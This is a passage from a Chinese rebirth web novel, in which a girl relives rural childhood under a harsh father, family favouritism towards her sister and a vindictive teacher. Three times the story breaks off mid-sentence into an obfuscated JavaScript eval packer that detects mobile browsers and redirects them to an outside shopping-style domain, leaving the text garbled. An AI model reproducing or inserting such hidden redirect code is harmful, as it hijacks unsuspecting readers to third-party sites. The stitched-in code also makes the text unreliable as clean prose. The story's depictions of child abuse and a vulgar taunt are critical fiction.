言双切了一声,把从徐金珍那里分来的糖饼,递给周秀莲,“妈,你吃吧,我吃了洋芋,不饿。” 周秀莲没接,凶道:“这会儿不吃,等会儿又吵肚子饿!” 言双只好把半块糖饼放回撮瓢。 天擦黑,西边的天还余下一些亮光的时候,言德珍、周秀莲带着徐金珍去了二妈家。 言蓉她们看的电视剧已经大结局,没有再去别人家看电视。 两人躺在床上玩游戏。 “盆子。” “瓢子。” “盖子。” “瓶子。” …… 带“子”的物品挺多,起码她们的方言里,带“子”的物品多到数不清。 一会儿后,两人无聊起来,又开始给自己双脚取电视剧里的角色名,并向对方发起攻击。 “我的左脚是孙悟空,右脚是杨戬。”言蓉抢先占走两个武力值最大的角色。 言双已经快二三十年没玩过这种游戏,故意道:“我的左脚是小青,右脚是白素贞,她们今天晚上要给你做枕头。” 言蓉果然被吓的吱呀乱叫。 电筒的光束打到歇房的蓝色窗玻璃上,言蓉喊了一声“爸妈”,并说:“停电了。” 言德珍打着电筒站在歇房外面,徐金珍走入歇房,外面的言德珍说:“妈,那你快睡,明天找人在堂屋里给你打灶。” 徐金珍则说:“你们快去睡,把你们麻烦的。” 今天是徐金珍结束吃轮锅饭,开始自炊的日子。 白天徐金珍颤颤巍巍走入歇房,并哭诉的时候,言双就知道了。 二爹二妈同意了言德珍和徐金珍的提议,每年给徐金珍称玉米、小麦,杀了过年猪,会给徐金珍取肉。 不过二爹二妈遵守约定的次数很少,他们的理由是徐金珍住在言双家,一直帮着言双家做事,他们很吃亏。 言蓉从徐金珍睡的那头爬到言双这头,徐金珍在黑暗中脱衣服、拆丝帕,躺下之后说:“两个幺儿把铺捂得热和的。” 这个年代,村子里的供电没有那么稳定,停电是常有的事情,路上、院坝里没有能亮一夜的太阳能灯,公鸡打鸣的时间很规律,又因为公鸡没有母鸡的作用大,村里的公鸡数量不多,狗的数量也极少,天一黑,整个村子都被静寂淹没,仿佛从这个世界消失了一般。 就算是朗月当空,显出村子的样貌,也会让人感觉一切都是幻象。 言双按着婆婆小腿胫骨上的增生,慢慢地找寻睡意,可生儿育女究竟有什么意义呢? 人为什么明知道生儿育女的结局,还一门心思地生儿育女? 人真的战胜不了繁衍欲望? 根据言双这么多年的观察来看,人战胜不了的欲望太多了,繁衍的欲望只是人类众多欲望中最不被关注的欲望之一。 比如人类出人头地的欲望就比繁衍的欲望强多了。 言双不知道吴绍全教书教了多少年了,只知道他现在大约四十五岁左右。 四十五岁的村小教师吴绍全正在黑板上抄写范文,命令所有的人全部写下来背诵,用在语文期末考试作文中。 采取这样的方式提高学生总成绩的老师,言双遇到过好几个,每一个都不是什么好东西。 其中有一个老师是英语老师,是言双高一的班主任。 期中考试的时候,他让所有人背诵范文,最后考试的时候,被监考老师发现端倪,虽然最后这位老师没有受到什么处罚,但在教室群里的名声似乎进一步变差了。 那位英语老师是因为偷看了期中考试的英语作文题目,才大胆地让学生背诵范文的。 难道吴绍全也是提前知道了期末考试的作文题目了?不然怎么会蠢到冒着所有人都跑题的风险,抄写范文? 抄写范文强制背诵就算了,吴绍全还让所有人留堂,背完一个走一个。 言双着急上厕所,也着急回家吃饭,她中午只吃了一个煮鸡蛋和半块苞谷面烧馍。 所以她强迫自己背完毫无意义的东西,立即走上前,以极快的语速背诵,回到座位准备拿上书包跑路时,吴绍全恶声道:“你干啥?重背。” 为什么? 言双想尖叫。 她紧抓书包,重新坐下。 真想砸穿那颗臭卤蛋。 徐泽强、徐新伟、徐雪蓉、许丽娟四人陆续背完,都得到了吴绍全的一句“可以走了”,拿上书包出了教室之后,言双又尝试上前背诵。 这次她故意放慢了语速,可背完之后,吴绍全还是说:“回去坐到。” “为什么?”言双气得大吼道。 教室里背诵的童声停止。 吴绍全怒目圆睁,腾的一下站起来,伸手就要扯言双的嘴,言双快快后退,退至座位,吴绍全很快追上她,她拿上书包,绕到另一边的过道,跑到讲台上大声道:“反正后天就去中心校考试了,我可以去校长那里告你公报私仇,总是想法设法体罚我,如果校长不管,我会告到市里去。” 言双一边说一边尽可能地躲吴绍全,最后挎上包跑出了教室。 大不了转学。 大不了这学不上了。 反正无论什么后果她都能承受。 言双冲到另一条小路上,过了一条河沟,爬上一片青冈林,一边上厕所一边想吴绍全今天非得让她留堂的原因。 除了一如既往地想折磨她,会不会还有别的原因? 算了,何必琢磨一个恶魔作恶的动机。 言双回到家半个多小时之后,徐敏才从她家门前经过,徐敏到家没一会儿,董丽蓉的笑声便传到言双家。 听婆婆说徐敏家的房子还是徐敏爷爷婆婆修建的老房子,言双婆婆和爷爷以前的老房子跟徐敏家现在的房子是连着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923938|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廊的,只是后来二爹二妈分家搬走,中间那两间房就被拆了,那块地儿成了言双家的自留地。 董丽蓉的笑声如丧礼上的锣鼓震天响,笑着笑着还叉着腰站在言双家自留地旁边冲着言双他们这边大笑不止。 大概是徐敏给她讲了吴绍全收拾言双的事情,否则她不会这样高兴。 而徐新春正在廊檐下挥着锄头挖地。 言双偷眼看了一下,总觉得徐新春在挖她家的地,但由于徐新春家的廊檐和她家的自留地连在一起的,她不敢确定,但没再继续关注,提起又磨了一遍的铁锹回到灶房剁洋芋。 第二天吃完早饭,言双随着婆婆上山捡柴。 走之前,言德珍和周秀莲没有因为明天要考试了,而要求她在家复习。 言双不禁纳闷儿,她知道自己一年级的确数学考了十二分,但同时她的语文考了八十多分啊。 难道二年级她的学习成绩比一年级还差,以至于父母已经完全放弃她了? 言双边折干掉的马桑树枝条边笑。 难怪她在六年级之前都对自己的成绩没什么印象,更不用说记得什么全乡成绩排名。 她十二分的数学成绩出炉之后,没有人再在乎她考多少分了。 不过仔细一想,好像她考十二分的时候,也只有周围的人一直嘲笑她,比如徐德财的大女儿徐雪芹。 小学一年级上学期领通知书那天,言双谎称生病不舒服没去。 徐雪芹当时还在村小读六年级,她几乎是从一百米开外的地方就开始向院子里的所有人播报言双数学考了十二分的事。 言德珍、周秀莲从未因这件事惩罚过她,以至于她长大之后,听到很多人描述家里人施加的学习压力时,都完全是一副听不懂的状态。 总的来讲,她小时候的学校生活虽然很悲催,家里的食材种类虽然单一,但她还算是活得比较轻松。 意识到这一点的言双,捡柴的干劲又足了不少,蒙在脸上的布块在她跑起来的时候扇起一阵一阵的冷风,鼻子嘴巴的区域已经湿透。 她折了几根平枝栒子枝条,将干柴捆起来,竟然比婆婆的柴捆粗的多。 言双一会儿拖着柴捆,一会儿背着柴捆,好不容易捱到家,刚上院坝坎,就看到言德珍、周秀莲和徐新春、董丽蓉打作一团。 言蓉站在一旁大哭,徐敏则安静地站在一旁,一手牵着他的弟弟,他的弟弟嘴巴大张着,好半天,言双才听到声音。 言双走近打作一团的四个大人,看着徐敏的弟弟翕动的鼻孔。 原来他小时候的鼻孔真的还没有巴山豆大,言双还以为周秀莲夸张了。 当然了,他长大之后,鼻孔也没有正常到哪里去。 言双只简单地观察了一下形势,便回歇房烤火了。 言德珍、周秀莲和徐新春、董丽蓉的这场架,是因徐新春故意开挖言双家的自留地引起的,言双记得很清楚,当时周秀莲一锄头铲到了徐新春的脸,徐新春的鼻骨旁边为此留下了一道疤痕。 依照周秀莲后来的多次叙述来看,这次打架斗殴事件中,徐新春和董丽蓉没有占到便宜。 所以只要言双不插手,过程、结局就不会发生任何变化。 12. 儿子 婆婆将言蓉拉回歇房,叮嘱道:“幺儿,你们不要往那边去,那四娃子可不是啥好人,小心故意给你们一锄头。” 言双用火钩掏出炉底的洋芋,一边剥皮一边说:“都怪爷爷以前说他一眼定乾坤,导致他以为自己天生就是个人物。” 徐金珍早已黯淡无光的眼珠动了动,奇怪道:“你咋晓得你爷爷说过这话的?” 言双的爷爷言学文大概是六十五岁去世的,他去世的时候,言蓉都才一个月大。 “我听爸妈讲的。”言双咬了一口洋芋,嘴巴和洋芋缺口处冒起腾腾白雾。 “爷爷如果没有去痛片上瘾,应该还能多活至少二十年。”言双带了一丝炫耀的心情说道,“婆婆你也最好不要再吃头痛粉,副作用很大的。” 自留地那边的挖苦讽刺声逐渐减弱,站在歇房门口的徐金珍又回到歇房内,“你爷爷是肾脏炎死的。” “去痛片里面有一种成分对肾脏损伤非常大,好像会导致肾癌。”言双想不起专业的名词,“后来都不准制造和售卖了。” 言德珍和周秀莲提着锄头走向歇房,徐金珍原本预备对言双说点什么,听到脚步声,马上走了出去。 “那一家人啊心蛆的不行,莫跟他们一般见识。”徐金珍左手抓着右手说。 言双觉得她的动作很眼熟,脑海里慢慢浮起言德珍冬天在户外的样子,竟然与徐金珍此刻的样子重合了。 “徐新春的爷爷不是婆婆你的兄弟吗?”言双看着的确没怎么受伤的周秀莲和言德珍说道,“听爸爸说你被打成地主都是因为你那个兄弟。” “你一天哪儿那么多话来的?”言德珍忽然不耐烦地吼道。 即使言双早已认清言德珍的真面目,知道他一在外面受气,就会回家冲她发火,但不免还是被吓了一跳。 她定了定神,反击道:“被人挖苦没儿子,就回家冲我发火,爸爸,你真有本事。” 言德珍的牙齿瞬间咬紧,感觉下一秒他的牙齿会全碎,他恶声恶气道:“生你妈那弄啥,生那一坨有啥用!” 言双控诉言德珍和周秀莲的恶行的日子里,她经常提到言德珍此刻说的这句话,可周秀莲和言德珍一概不认,坚称他们不是会说这种话的人。 如果不是重生而是穿越就好了,还能拿手机录音。 “没有用的话你把我杀了呗,这样你们还可以再生,说不定能生个儿子。”言双无所谓地回应,“你们生我之前就因为二胎与一胎之间隔的年限不足,引产了一个快足月的儿子,当时应该后悔死了吧,生了我发现是个女孩,应该恨死我了,每天都想把我弄死。” “像我妈啊,即使快六十岁了,聊起别人家的小孩夭折了,如果是个男孩,她都会说那死的还是个儿子,仿佛死的是女子就不足惜一样。依我看她实际上一直惋惜的是她引产的那个儿子。” 言双忽然站起来,摆出一副受死的姿态,“要杀要剐随便你们,反正我也没想投胎到你们这种家庭受苦受难,还不如让我死了,我重新投胎。” 八岁的小孩滔滔不绝地说着这种话,看起来很是异常。 言蓉吐槽道:“你咋神神叨叨的,在学校里也是。” 已经愣住并一直观察言双的言德珍、周秀莲以及徐金珍,则意外安静。 大概齐齐陷入了那场悲剧之中,在为没有完全拥有过的“子”默哀吧。 言双鄙夷地看了他们一眼,走到黑漆木柜旁边,揭开瓷碗上的另一只瓷碗,捧着碗,一口一口地将晾温的水喝到肚子里。 要是真能重新投胎,还能投胎到富贵人家就好了,那样的话她至少不会每天连干净的水都不够喝。 言德珍、周秀莲养小孩的理念是只要小孩没死,那就是健康的。 可偏偏这样的人到了老年,病痛逐渐找上他们,他们倒是能整天苦着一张脸在小孩面前抱怨、诉苦,要求小孩报答他们的养育之恩。 一股烟味儿飘起来。 言双叠好两只碗,屏住呼吸,飞快地跑出歇房,躲入没有一丝热气的小儿间。 小床上已经铺了一层言双编的玉米壳垫子,坐着倒也没有那么冷。 她靠着糊了书纸的墙壁,翻看从邻居家借来的《诗经》。 书的纸张发黄,像是从土里挖出来的。 言双家的后门外还有一家人,算是村里的大户人家,家里有两个人都是吃国家饭的,在村里的威望很高,姿态也端得很高。 小时候,言双就发现他们家的人走路眼睛都是看着天上的,尤其是他们家的老爷子,看人都跟看下人似的。 当然了,他看他的那些姘头的眼神又不太一样。 言双手里这本如古董一般的书就是从这老爷子的手里借来,言双去借这本书,当然是因为她知道这家人家里有这本书,而且她是趁着这老爷子的外孙女来的时候借的。 老爷子的外孙女李芳在未来会和言双产生各种各样的纠葛,而李芳自己的人生也将磨难重重。 言双想如果她能早点接触李芳,或许能让李芳避开部分磨难。 当李芳大大方方地带言双向她的外爷借书的时候,言双生出了一定要让李芳避开磨难的决心。 不过借书那天下的决心到了今天似乎已经没那么坚定了。 毕竟他人的命运没那么容易改变,而且一旦他人的命运因为她的举动改变了,那么意味着她已知的属于自己的人生也会变得未知。 言双一边抄写书里的内容,一边理清脑内的想法,门砰的一声被推开。 “你看那起啥作用?”言德珍依旧冲她恶狠狠地吼。 言双依旧无视他,继续低头抄写。 “这是明天去街上考试的盘缠。”言德珍瞪了她一会儿,走近她的床,扔下了一块钱。 言双拿上钱,回道:“谢谢。” “用不完的拿回来。”言德珍说,“你姐姐也是一块。” 言双透过窗玻璃瞄了一眼歇房,言德珍很快走了出去,并拉上了门。 言双听到他给周秀莲说:“她还说了个谢谢。” 全乡总共六个小学,五个村小和一个中心小学,期末考试全都要集中到全乡唯一一所初中学校的教学楼里考试。 2025年初中部教学楼的二楼、三楼已经荒废,教学楼对面和右侧的教师宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923939|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍已经拆除很多年。 教学楼对面的教师宿舍楼拆除之后扩大了操场的面积,加装了娱乐设施,以及菜地,用于幼儿教学。 右侧的教室宿舍拆除之后的地块则被旁边的卫生院占用,修建了住院部。 言双踏入一楼右侧的那间教室,找到自己的位置坐下。 这间教室是李芳、言双,以及众多的人噩梦开始的地方。 这间教室是一个暴力培养皿,培养出了一个又一个热衷于暴力的恶魔。 而热衷于暴力的恶魔们,十几二十年之后,竟然比遭受暴力的人过得更好。 言双无奈苦笑,低头提笔做题。 所有的考试题目对言双而言都很简单,但她需要做的是尽可能地不采用还没学过的方法解题,尽可能地写清楚解题步骤。 她已经非常努力地放慢速度答题了,可答完之后,还是被监考老师注意到了。 监考老师定定站在她的桌旁,一开始只看着她露出来的试卷部分,一会儿后,直接提醒她抬手臂,将她的试卷拿起来翻看。 看完之后,瘪着嘴给她比了一个大拇指,离开之前,还回头重新看了一下她的名字。 所有考试结束之后,很多人都挤进了小卖部。 言双都快从那些人中看到自己了,准确来讲是以前的自己。 现在的她看到那些小孩拿在手里的干脆面、大刀肉、棒棒糖,脑子里只有三个字:添加剂。 三十三岁的大脑对这些东西实在是提不起兴趣,她此刻只想赶紧回家。 因为家里今天杀年猪,她能吃到猪瘦肉。 “双娃子,这次是不是又要考一个十二分?”铲着猪毛的徐德财哈哈大笑道。 站在木制大澡盆周围的人,闻言也都笑了起来。 徐德财第一次偷看言双的日记,并发现言双将赶集写成起集,买盐写成买监,也是在言双家杀过年猪的时候。 那时候的言双羞得脸通红,最后生着气饭都没吃。 “你都四十几的人了,还要靠取笑一个八岁的小孩子获得成就感,你都不觉得丢人吗?”言双抱着手臂站在走廊上,居高临下地瞪着徐德财。 徐德财脸皮比城墙厚,顶着一头结成块状的头发,咧着一张还沾着饭尘的嘴唇和牙齿,笑道:“考十二分的批娃儿都不晓得丢人,我丢啥子人。” 言双中午只吃了自带的一个土豆,这会儿饿得慌,不知不觉动了气,骂道:“你才是个批男人。” 张罗着端簸箕、筛子、案板,用来宰肉、翻肠、扯油的言德珍,脸上的皮又皱起来了,狠狠地瞪着言双,试图制止她。 言德珍永远是这样,用他的眼神和表情恐吓言双。 有时候言双发现,她其实并不害怕言德珍这样的表情和眼神,她只是觉得丢脸。 因为言德珍总是在大庭广众下这样恐吓她。 抱着手臂的言双冲着言德珍摇头,她的目的是通过这个动作表达出“你就是坨扶不上墙的烂泥”的意思。 结果因为言德珍手里的活儿太多,四处奔走忙碌,没时间继续恐吓她,她没有机会判断自己的表现力如何。 13. 失衡 这个年代,村里的过年猪集中在腊月初宰杀,为的是多养几天好长长膘,也为了能留下一些肉过年。 十几二十年之后,玉米、小麦产量越来越高,各家各户手头的钱越来越多,自家吃肉的猪也会在前两个月里喂饲料,基本半年左右就可宰杀,过年猪的宰杀时间提前到了十月、冬月。 周秀莲正在切洋芋、切灰菜,中锅和边锅之间的空隙放了一个已有破皮的搪瓷碗,里面装着生姜、大蒜、葱段等佐料。 言蓉和婆婆坐在灶后,火光映得两人的脸红黄红黄的,婆婆举着火剪往灶孔里添柴。 院坝里猥琐的笑声和吹牛声随着澡盆里冒起来的热气钻入灶房。 已经在厨房站了一会儿的言双,又朝外面走去。 路上有一对年约五十岁的夫妻经过,那女的有些痴傻,那男的正和围着澡盆铲猪毛的男的们闲谈。 徐德财忽然大笑道:“汪仕科,昨天晚上何三儿给你撸水管子撸安逸了没?” 徐德财小若锄把的头,被猥琐和下流泡的发胀发软。 其他男人的哄笑声被团团热气托起,砸向那痴傻的女人,亦砸向走廊上的言双。 言双记得徐德财说过这种话,不过不是在当下这个场景说的。 那一次这对夫妻经过时,徐德财在他家房背上翻瓦,他用同样下流猥琐的语气说:“何三儿,昨天晚上你有没有给汪仕科撸水管子?” 那时候的言双比现在的年纪要大,可能正在读五年级或六年级,她站在她家的院坝里,疑惑地看向在房背上笑到嘴角出沫的徐德财,她没听懂徐德财的话,但她知道不是什么好话,并把徐德财说的话记住了。 徐德财真就是蟑螂一样的男人,猥琐下流、阴暗狠毒,还一直不死。 “把这腰子、肝子、柳肉给你妈端过去。”言德珍忽然走近言双,举高水盆大声道。 言双弯腰端起来,再次走入厨房。 言蓉正在吃东西。 “姐娃子在吃啥?”言双问。 “她吃啥?她没吃啥。”周秀莲和徐金珍几乎同时说道。 言蓉的嘴边沾了几粒白砂糖,在火光下发着亮。 “不就是在给她吃花生米米么?有啥好藏的。”言双无语道。 言双一直清楚父母、徐金珍乃至周围的所有人都更偏心言蓉。 所有人都认为她小气、要强、调皮,一点儿都不逗人爱。 很长一段时间里,言双都对此很不满、很难过。 她记得大一那个暑假,她和周秀莲睡在一张床上,一人睡一头,她说她在学校减肥,减到胃痛。 周秀莲没有让她不要减肥,也没有关心她胃痛的毛病好没好。 周秀莲只是深深地叹了一口气说:“我就是担心你姐姐那个胃啊,不晓得她那个胃咋那么弱的。” 大四那个寒假,家里装修房子,请了好几个工人,言双每天帮周秀莲做饭。 有天她兴奋道:“妈,过年我们可以炸一些酥肉。” 周秀莲亦高兴道:“可以可以,你姐姐爱吃个酥肉。” 大四最后一学期,学校没再安排课程,言双一直呆在家里。 春天的时候,言双和周秀莲去山里掰了一大袋竹笋,言双兴奋地剥壳、洗净、焯水,泡在水里,搜索烹饪方法。 已确定要读研究生的言蓉回到家,周秀莲马上说:“把那笋子交给你姐姐带到学校去吃。” 很长一段时间里,言双的不满和难过中夹杂着的是纠结与挣扎,因为周秀莲、言德珍、徐金珍并没有不给她吃喝,不管她穿,他们甚至在她调皮厌学不读书的时候花钱让她复学、读高中,在大四家里修房子,没有钱的情况下,言德珍还专门给她借钱买了电脑和手机。 相较于同龄人的父母,她的父母已经做得很好,她没有获得偏爱,是因为她不够优秀、不够听话。 只是人都会比较,一比较就会失衡。 言双工作之后,给言德珍、周秀莲钱,他们会嫌少。言双给他们买的各种各样的东西,他们总会挑出毛病,且完全不珍惜。 比如她给周秀莲转了两百块烟钱,言德珍会说两百块能起啥作用。 比如她给言德珍买了一千四百多的羽绒服,言德珍会说网上卖的东西都是假货。 比如她给言德珍买的牛奶,言德珍会一直说喝到最后有一股老鼠味道。 可言蓉就算给他们买一双袜子,他们也会非常高兴,穿到破洞都舍不得扔。 言双的纠结和挣扎在承认自己就是不被偏爱,且利用自己不被偏爱这一点不承担照顾父母的责任之后,消失了。 她从而获得了自由。 而言蓉与言德珍、周秀莲之间形成了牢固的相互利用的关系。 言双瞅一眼灶台上那一碟裹着白糖的花生米,提不起半点食欲,无所谓地说:“2024年2月1日,我从二楼到一楼的火炉房,一开门闻到一股方便面的味道。言蓉说他们刚刚吃了方便面,爸爸叮嘱他们不要让我知道。我爸把我买的方便面藏了几盒,在言蓉和她的小孩喊饿的时候才拿出来吃,他在一旁辩称是我让他藏一些的,说我怕自己天天吃方便面。” “你咋又神神叨叨的了。”言蓉擦了擦嘴说道。 周秀莲则说:“等会儿帮忙的人吃完了,你吃就行了。” “那些一辈子都不刷牙的人吃过的菜我可不吃。”言双轻快道。 她想她好像真的完全不在乎不被爱这件事了。 忽然,一些过去的记忆涌现,言双笑道:“他们帮忙的人今天可能不会在我们家吃饭。” 说完,她又好意提醒周秀莲,“你最好不要把菜弄多了,不然我们要吃好几天剩饭剩菜。” 当然了,她的提醒根本没被重视。 杀猪匠领着一群帮忙的人去往另一家,最后直接在那家吃晚饭。 周秀莲做好饭菜,一直催言德珍去请别人来吃。 言德珍跑上跑下,最后黑着一张脸骂道:“人家都吃了,你一直让我去喊、喊,喊得来不?” 看着飘香的新鲜的,没有被吃过的青椒肉丝、爆炒猪肝、爆炒腰花,言双心情大好,好意道:“别人巴不得杀猪的时候不招待帮忙的人,你们倒好,有机会不招待,还在这里吵架。” 言德珍和周秀莲被逗笑,架最终没有吵起来,一家人忙着把碟子往歇房的炉子旁端。 言双夹起一筷子青椒肉丝,裹住米饭,送入口中。 柴火灶爆炒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923940|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的青椒肉丝,吃一口就能念念不忘很久。 可惜一年只能吃一次。 今天之后的猪瘦肉,水分会慢慢流失,口感会逐渐变差。 直到领通知书的那天,家里因为杀过年猪制作的食物都还没吃完。 铁锅里煎着黑漆漆的猪血粑。 香倒是挺香的,只是这玩意儿在室温下放了快一周了。 虽说山上冬天冷到会下雪结冰,室温很低,食物不会很快变质。 虽说小时候最喜欢吃这玩意儿,且也顺利长大了。 但言双毕竟已经知道这样的食物对身体的坏处,实在不想往嘴巴里塞。 周秀莲将血粑铲到大碗里,吆喝言蓉起床吃饭。 言双则洗干净锅,舀了一瓢水,烧沸腾之后,举着撕掉了外面几张叶子的卷心菜,扯了几把扔进沸水里,又从衣服口袋里掏出一颗鸡蛋打进去,最后加入了一点儿挂面。 “你哪儿来的鸡蛋?”拿完筷子,转过身的周秀莲问道。 “前几天捡的,我藏起来了。”言双毫不掩饰道。 刚起床的言德珍踏入歇房的门,眉毛眼睛皱成一团,骂道:“咋养了一个你这种吃独食的。” 言双不甩他,看着锅盖边缘的白泡泡,等待自己的早饭变熟。 周秀莲、言德珍、徐金珍一人一双筷子,伸到大碗里夹血粑吃的时候,言蓉才慢吞吞地从床上爬起来,周秀莲马上给她递了一双筷子。 言双一手拿碗,一手在水汽缭绕的锅里捞面,鸡蛋滑溜溜的,她尝试了好几次都没能成功。 于是她放下碗,跑到灶房拿勺子,再回来时,锅已经不在炉子上,而是在一把被放倒的椅子上。 锅里的鸡蛋不见了。 “我的鸡蛋呢?”言双问道,心里早已知道她不在的这十几秒的时间里发生了什么。 周秀莲笑着说:“叫你爸爸吃了。” 徐金珍说:“你爸爸一天苦的累的,该他吃。” 言蓉插嘴道:“我只吃了个蛋黄。” 言双平静地走出歇房,踮脚将勺子挂在柱头上,再回到歇房门口时,火炉旁的那四人仿佛什么事都没发生过一样,有说有笑。 言双想到了言德珍、周秀莲、徐金珍以及言蓉曾经骂过她的那一句又一句的“你是个疯子吗”“你又在发疯”“你又在发啥子疯”。 世上没有突然疯掉的小孩。 小孩都是被慢慢逼疯的。 言双往卷心菜和挂面里加了一点盐,吹着热气,慢慢往嘴巴里送。 周秀莲说:“夹两片血粑下起吃嘛。” 徐金珍也附和道:“就是,幺儿,你光那白面咋个吃,伤胃。” 言双冷笑了一声,头突然挨了一筷子。 举着筷子的言德珍骂道:“你还想发个脾气?你发啥脾气?你有啥资格发脾气?” 原来不管她有没有发脾气,言德珍都会打她、骂她,并指责她发脾气,因为想发脾气的是他言德珍。 言双原本想大笑、狂笑,但她实在不想浪费一碗面。 她挑干净汤里的面条和卷心菜,放下碗,什么都没说,只倒了茶壶里的热水,解开头发,将言德珍打过的头发,认认真真洗了一遍。 14. 成绩 吴绍全拿着言双的试卷翻来覆去地看,看完数学试卷,又看语文试卷,抬头难以置信地扫了言双一眼,却什么话都没说。 言双从他的无言中品出了怀疑、愤怒以及不甘。 他本想以言双较差的成绩为借口打骂言双,从而达到泄愤和报复的目的,却没想到言双的数学满分,语文也几近满分。 借口奇怪地消失了,他当然不甘。 言双只觉得这世上的大人面目皆可憎,她捏住试卷的角,将试卷拎到手中,返回座位。 试卷被她揉成一团塞入书包。 讲台上的吴绍全似乎陷入了某种沉思,对教室里闹哄哄的学生视而不见。 早上,言双没有像以往那般被言德珍的行为激怒,像个没事人一样洗脸、刷牙,换上她自己手洗干净的衣裤鞋袜,跟言蓉有说有笑地下院坝时,言德珍的表情跟吴绍全现在的表情一模一样。 言双知道,她以后的日子会更难过。 毕竟雄性动物的报复心不容低估。 言德珍的报复心如何,言双马上就能知道,吴绍全的报复心还会怎样夸张,则需要到下学期才能揭晓。 回到家,言双还未坐下喘口气,言德珍便恶声骇嗓地说:“念书不行,还不晓得做活路?” 然后颐指气使道:“去把洋芋剁了。” 言双想着今天还没磨铁锹,搓了搓手,淡淡地扫了一眼无能狂怒的言德珍,站起来到鸡圈旁边的空地寻铁锹。 经过这几个月的时间,铁锹已经被她磨到发光,虽然锋利程度还赶不上菜刀,但剁洋芋的速度提升不少。 言德珍咚的一声放下猪食桶,桶里的泔水溅了言双一裤腿,她还没发火,言德珍先发起了火,“你笨的咋弄啊?你咋这么笨来的?有切刀不用,拿个铁锨铲一铲的。” 快过年了,言德珍挑刺的频率会越来越高。 因为他没有钱。 过年的时候,他需要买酒喝、买烟抽,还需要绷面子跟人打长牌,他没有钱,还没有来钱的路子,所以他要挑刺,他要挑一个会撒泼打滚、哭喊叫闹的孩子身上的刺,这样他才能正当地发火。 这样的人却有脸动不动就说自己的女儿性格差、脾气差。 真可悲。 言双回道:“你没看到已经剁细了?” 言德珍手一挥,龇牙咧嘴地说:“又在回嘴!” 他的手没有真的打到言双的脸上,因为言蓉出现在灶房门口,向着烧火做下午饭的周秀莲喊道:“妈,今天是我的生日,炒一碟子柳肉嘛。” 周秀莲将手中的烟头扔进旺火里,起身往灶前走,笑着说:“放心,有你的肉吃。” 言双的生日是农历十月二十七,已经过去一个多月,那天没有人记得是她的生日,她自己长大之后也对过生日提不起兴趣,也没有向家里提起,当天吃的是跟以往一样的食物,做的事也跟以往没什么不同。 言蓉长大之后十分重视自己的生日,且十分在意父母对她生日的重视程度。 有一年的腊月初十,言德珍打电话让二楼的言蓉下来吃午饭,言蓉推开门看到桌上摆着的炒鸡蛋、炒瘦肉以及一盘炒青菜,脸色一下变差,并质问:“我过生日,就给我弄这啊?” 那一年言蓉三十五岁。 果然只有在爱里长大的人,才会理所当然地享受别人的爱。 不像言双,大学时期,宿舍的人给她过生日,她都不自在了好几天,甚至后来想起都仍觉尴尬。 有心理学家说亲兄弟姐妹拥有的父母其实是不同的,言双遇到这句话时,已经在与父母的关系中获得了自由。 她获得自由凭借的是良好的记忆能力,而她引以为豪的记忆能力,在父母,以及大多数人眼里,是一种记仇的能力,是小心眼、格局小的一种表现。 言双摇头冷笑,提起铁锹,放回鸡圈旁边,让它稳稳地靠住土墙。 寒假的正式到来,令言双多少有些恐慌。 按照言双的记忆来看,寒暑假的时候,她和徐枫经常单独在一起玩。 尽管她已经适应徐枫的存在,但让她单独和徐枫呆在一起,她还是做不到。 晚上,翻来覆去睡不着觉的言双,一直追问婆婆冬天还有什么药材可以采,婆婆嘴里只跑出“莫得”两个字。 冬天,也没有什么农活儿干,除了捡柴。 可言双不想捡柴了,尤其不想跟周秀莲一起去山里捡柴。 六年级的那个暑假,言双被周秀莲押着捡柴,每天早晨背一捆比言双人粗不少的活的松树梢,爬坡下坡来回走七八公里。 最后不仅黑成了一块碳,身高好像也完全停滞了。 所以,只剩下学习这件事情可以做了? 无奈的言双花了两天的时间做完了所有的寒假作业,包括一本寒假生活,以及三十三篇日记。 期间,徐枫来找过她,但她躲在小儿间里,愣是一声没应。 其他人也只是跟徐枫解释说她在做作业,而徐枫脸上流露出鄙夷,回道:“才放假,做啥作业,装模作样的。” 为了避免寒假作业被人不小心破坏或毁损,言双将其藏在了玉米壳垫子下面。 经过这段时间搜集到的资讯,言双意识到她一时半会儿无法获得高中教材,也没办法搞到一本英语词典。 因为附近还没有读高中的人。 这意味着她的寒假将会非常无聊。 无聊的言双,不得不加入一群小孩子,跟她们一起玩开关游戏、警察抓小偷的游戏,以及跳绳、跳皮筋。 言双玩游戏的时候,还是拿自己制作的面罩捂着脸,被一群小孩子一直嘲笑。 言双看着嘲笑她的徐雪芹、徐莉芹、徐惠,以及她们脸上已经冒出来的雀斑,心说以后你们就知道防晒了,只可惜来不及了。 